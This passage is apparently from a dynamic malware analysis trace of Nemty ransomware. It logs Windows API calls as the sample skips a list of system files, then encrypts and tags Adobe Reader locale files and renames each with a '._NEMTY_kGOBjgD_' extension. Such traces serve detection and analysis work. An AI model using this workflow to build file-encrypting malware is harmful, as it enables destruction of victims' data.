lpDistanceToMoveHigh=0x0) returned 0x0 [0183.614] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0183.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.615] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0183.615] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.615] CloseHandle (hObject=0x2e8) returned 1 [0183.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.615] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SaveAsRTF.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\saveasrtf.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SaveAsRTF.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\saveasrtf.sky._nemty_kgobjgd_")) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.616] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.SKY", cAlternateFileName="")) returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2=".") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="..") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="...") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="windows") returned -1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="rsa") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="NTDETECT.COM") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="ntldr") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="MSDOS.SYS") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="IO.SYS") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="boot.ini") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="boot.ini") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="ntuser.dat") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="desktop.ini") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="CONFIG.SYS") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="RECYCLER") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="bootmgr") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="programdata") returned 1 [0183.616] lstrcmpiW (lpString1="Search.SKY", lpString2="appdata") returned 1 [0183.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.617] Sleep (dwMilliseconds=0x5) [0183.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21189dd0, dwHighDateTime=0x1d561e8)) [0183.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21189dd0, dwHighDateTime=0x1d561e8)) [0183.625] GetLastError () returned 0x0 [0183.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.626] GetLastError () returned 0x0 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.626] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.626] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.626] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.626] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="u4n6LYfAN3R1V0AqD3yLaRFWKutNZLxRCsQly8yWZ0hAs5SWseo7kGaYESvBfeIU\r\nRi4CPp0eGGFbGchPkZKawnk+EUu3m6/B0HarnKDlxPFol1l6qSXB8w0M6E0oeBhx\r\nciAxiPBTxyGPNKtCm3jDftI1H5thE+lD+XDgX159oUfjTcrOzc4ckcc2MsKVXMs3\r\nLi5tAjK+Kr5QQgkoCzni2hK08du25FiTPAeFTL04O4MMppdUnNMBbLp7a+UkRJGk\r\nk2GPgY0Eeash1dqXRMvF/LfgwIWOz20PC9OtelNcdi0Z4aLF2Wdx5hvGNsAp7+O9\r\nGNliDVXqfEucfVz6mHcIuA==\r\n", pcchString=0x653e5dc) returned 1 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Search.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\search.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.626] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23552) returned 1 [0183.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c00) returned 0x6352c48 [0183.627] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.627] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5c00, lpOverlapped=0x0) returned 1 [0183.630] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.630] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5c00, lpOverlapped=0x0) returned 1 [0183.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.630] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0183.630] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.630] CloseHandle (hObject=0x2e8) returned 1 [0183.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.631] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Search.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\search.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Search.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\search.sky._nemty_kgobjgd_")) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.631] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.SKY", cAlternateFileName="")) returned 1 [0183.631] lstrcmpiW (lpString1="SendMail.SKY", lpString2=".") returned 1 [0183.631] lstrcmpiW (lpString1="SendMail.SKY", lpString2="..") returned 1 [0183.631] lstrcmpiW (lpString1="SendMail.SKY", lpString2="...") returned 1 [0183.631] lstrcmpiW (lpString1="SendMail.SKY", lpString2="windows") returned -1 [0183.631] lstrcmpiW (lpString1="SendMail.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="rsa") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="NTDETECT.COM") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="ntldr") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="MSDOS.SYS") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="IO.SYS") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="boot.ini") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="boot.ini") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="ntuser.dat") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="desktop.ini") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="CONFIG.SYS") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="RECYCLER") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="bootmgr") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="programdata") returned 1 [0183.632] lstrcmpiW (lpString1="SendMail.SKY", lpString2="appdata") returned 1 [0183.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.633] Sleep (dwMilliseconds=0x5) [0183.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x211aff30, dwHighDateTime=0x1d561e8)) [0183.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x211aff30, dwHighDateTime=0x1d561e8)) [0183.641] GetLastError () returned 0x0 [0183.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.641] GetLastError () returned 0x0 [0183.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.642] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.642] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="YQBM51/aBi60tYbUp5twq7Ldt8e8YkONBKCr58MrIqI2Z5ZUBPlCaz24XdCGOTJP\r\npe4CV4D1Dba38GDSwzcgTm+lbGwTTxgWiPf7sC8J0rxUjRnFB7FTKCpB8aaV71dC\r\niLatzVsWQqY2+cHZrlxqEYW6MTQCRQOA2TX0DXgLxLAX5Jvn852f+WQy7N4fIH9l\r\noH2uvOHwfumvZIpUJFFmWgn7tY6Rc2lbFr1WYCBI9qyREpd2qN89QifDgwK7VaLt\r\n3tfKpkOuJP2Sx1o7znTfZqQq9sQngCOSV0Q3zwrSJHQysy2xglD8prRCC3lp+o/v\r\nLkqQoPwIOSU3QmO1kP+Idw==\r\n", pcchString=0x653e5dc) returned 1 [0183.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SendMail.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\sendmail.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 